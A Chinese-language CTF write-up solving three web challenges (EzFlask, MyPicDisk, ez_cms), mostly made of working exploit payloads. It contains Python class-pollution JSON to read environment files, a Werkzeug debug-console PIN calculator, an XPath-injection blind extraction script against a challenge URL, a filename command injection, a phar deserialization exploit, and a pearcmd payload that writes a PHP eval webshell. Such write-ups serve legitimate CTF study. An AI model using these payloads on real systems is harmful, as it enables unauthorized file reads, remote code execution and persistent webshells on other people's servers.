EzFlask
考点:python原型链污染、flask框架理解、pin码计算
源码如下
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
分析一下,首先定义了check函数进行黑名单检测,然后是存在merge函数可以进行原型链污染,定义user的类;/register
路由下先进行check检测,接收json格式数据,进行merge原型链污染;/login
路由下,接收json数据,判断username的session是否正确;/
路由下会读取源码文件(我们可以污染进行回显)
方法一 python原型链污染
前置知识
NodeJs原型链污染中,对象的__proto__属性,指向这个对象所在的类的prototype属性。如果我们修改了son.__proto__中的值,就可以修改父类。
在Python中,所有以双下划线__包起来的方法,统称为Magic Method(魔术方法),它是一种的特殊方法,普通方法需要调用,而魔术方法不需要调用就可以自动执行。
由于跟路由下会读取源码内容,我们可以污染__file__
全局变量实现任意文件读取
由于过滤了__init__
,我们可以通过Unicode编码绕过或者用类中的check代替
payload如下
{
"username":"1",
"password":"1",
"__class__":{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"__globals__":{
"__file__":"/proc/1/environ"
}
}
}
}
然后再访问得到flag
方法二 flask框架静态文件
前置知识
在 Python 中,全局变量 app 和 _static_folder 通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。
- app 全局变量:
- app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
- Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
- app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
- 通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
- _static_folder 全局变量:
- _static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
- 静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
- 在 Flask 中,可以通过 app.static_folder 属性来访问 _static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
- Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。
综上所述,app 和 _static_folder 这两个全局变量在 Flask 应用中都扮演着重要的角色,app 是整个应用的核心实例,用于处理请求和设置应用的配置,而 _static_folder 是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。
我们污染"_static_folder":"/"
,使得静态目录直接设置为了根目录,那么我们就可以访问/static/proc/1/environ
payload如下
{
"username":"1",
"password":"1",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}
访问静态文件即可
方法三 pin码计算
由于我们已经知道存在原型链污染,我们可以结合任意文件读取有效信息计算pin码
脚本如下
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485376927778',
'96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
然后访问/console
即可
MyPicDisk
考点:xxe盲注、命令执行、phar反序列化
打开题目,给了登录框,试试万能密码抓包看看
发现有hint
访问把源码下载下来
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
分析如下
- 定义了FILE类,包含三个属性。实例化的时候检测是否包含
/
,且是否只有一个.
符号。然后定义了remove和show方法,最后会对文件名命令执行(此处可以rce) - 然后就是接收登陆参数以及session值是否为admin
- 最后对上传文件进行白名单检测,然后提供remove和show功能,上传成功后会对文件名实例化
我们刚刚万能密码登录后发现并不是admin的session,所以还是不行
我们看向下面代码,存在xxe漏洞
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
其中重要代码$x_query="/accounts/user[username='{$username}' and password='{$password}']";
构建一个XPath查询语句,用于在XML文件中查
xxe盲注脚本如下
import requests
import time
url ='http://0f5e84c5-9aba-4f79-9744-65916fd167a9.node4.buuoj.cn:81/'
strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称 #accounts
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测子节点名称 #user
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、
# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
注出来的再拿去解密得到密码
登陆后发现有文件上传功能
方法一 字符串拼接执行命令
我们已经知道上传图片成功后会对FILE实例化,结合下面实现rce
public function __destruct(){
system("ls -all ".$this->filename);
}
注:一定不能报错,否则不会执行destruct
我们可以bp抓包,修改文件名如下
;`echo Y2F0IC9hZGphcyo= | base64 -d`;1.jpg
然后上传成功后访问?file=上传文件名
即可
方法二 phar反序列化
这个思路的利用点如下
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
md5_file函数
一般参数是string形式的文件名称($filename)的函数,都可以用来解析phar
我们可以创建phar文件修改后缀,然后再file读取(todo参数值为md5)
exp
<?php
class FILE{
public $filename=';cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd';
public $lasttime;
public $size;
}
$a=new FILE();
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后bp抓包修改后缀
然后用phar伪协议读取即可
?file=phar://hacker.jpg&&todo=md5
ez_cms
考点:熊海cms
拿到题目,去网上找找相关漏洞,发现存在后台登陆
盲猜用户为admin,然后密码爆破一下为123456
登录后,我们查到存在任意文件读取漏洞
试试读取源码
然后下载下来
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
分析一下,addslashes函数禁用了伪协议,将参数进行拼接
不过我们可以尝试pearcmd读取
payload如下
?+config-create+/&r=../../../../usr/share/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
坑点:这里的pearcmd的路径不为默认路径,出题人改了
我们bp抓包发送,成功写入
访问?r=../../../../tmp/shell
命令执行得到flag